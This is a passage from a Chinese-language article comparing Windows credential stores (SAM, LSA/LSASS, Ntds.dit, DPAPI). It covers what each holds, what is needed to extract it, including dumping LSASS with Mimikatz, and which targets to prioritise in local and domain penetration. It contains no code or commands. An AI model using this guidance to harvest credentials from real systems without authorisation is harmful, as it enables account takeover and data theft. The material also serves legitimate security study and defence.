- 域管理员账户信息、组策略、信任关系等。
- 提取条件:
- 需要域控制器的访问权限,或通过漏洞(如卷影复制)获取文件副本。
LSASS(Local Security Authority Subsystem Service,本地安全机构子系统服务)
- 作用:
- 是 LSA 的具体实现进程(
lsass.exe),负责处理用户登录请求、生成访问令牌、管理安全策略等。
- 是 LSA 的具体实现进程(
- 可提取的凭据:
- 与 LSA 类似,包括 明文密码、NTLM 哈希、Kerberos 票据等。
- 域环境中,LSASS 还存储域用户的登录会话信息(如 TGT 票据)。
- 提取条件:
- 通过工具(如 Mimikatz)dump LSASS 进程内存,需管理员权限或利用漏洞。
DPAPI(Data Protection Application Programming Interface,数据保护应用程序接口)
- 作用:
- Windows 内置的数据加密接口,用于加密用户敏感数据(如浏览器密码、WiFi 密钥、证书私钥等)。
- 基于用户账户的密钥(由用户密码派生)进行加密,实现“用户数据只能由用户本人解密”。
- 可提取的凭据:
- 加密后的敏感数据:需结合用户密码哈希或明文密码解密。
- 通过 DPAPI 密钥可间接获取 浏览器保存的密码、Outlook 邮箱密码、VPN 凭据等。
- 提取条件:
- 需要用户的密码哈希(如 SAM/LSA 中提取的 NTLM 哈希)或明文密码,用于生成解密密钥。
核心差异对比
| 组件 | 类型 | 存储内容 | 应用场景 | 凭据提取难度 | 权限要求 |
|---|---|---|---|---|---|
| SAM | 数据库文件 | 本地用户账户哈希、权限 | 本地账户管理 | 高(需 SYSTEM) | 本地管理员或更高 |
| LSA/LSASS | 进程/服务 | 内存中的登录态凭据(哈希、票据) | 登录验证、会话管理 | 高(需内存读取) | 管理员或漏洞利用 |
| Ntds.dit | 数据库文件 | 域用户账户哈希、AD 数据 | 域环境身份管理 | 极高(需域控) | 域管理员 |
| DPAPI | 加密接口 | 加密的用户敏感数据 | 数据加密(非直接存储凭据) | 中(需哈希/明文) | 用户权限或管理员 |
关键区别总结
- 作用范围:
- SAM 负责本地账户,Ntds.dit 负责域账户,LSA/LSASS 是连接两者的核心服务。
- DPAPI 不直接存储凭据,而是加密用户数据,需结合其他组件提取的密码解密。
- 凭据类型:
- SAM/Ntds.dit 存储静态哈希,LSA/LSASS 存储动态内存中的临时凭据(如票据、明文)。
- DPAPI 数据需依赖哈希/明文密码解密,属于“二次提取”。
- 攻击价值:
- 本地渗透:优先攻击 SAM/LSA(获取本地账户哈希或明文)。
- 域渗透:攻击 Ntds.dit/LSASS(获取域账户哈希、票据或域管权限)。
- 数据窃取:通过 DPAPI 提取浏览器密码等敏感信息(需先获取用户密码)。

浙公网安备 33010602011771号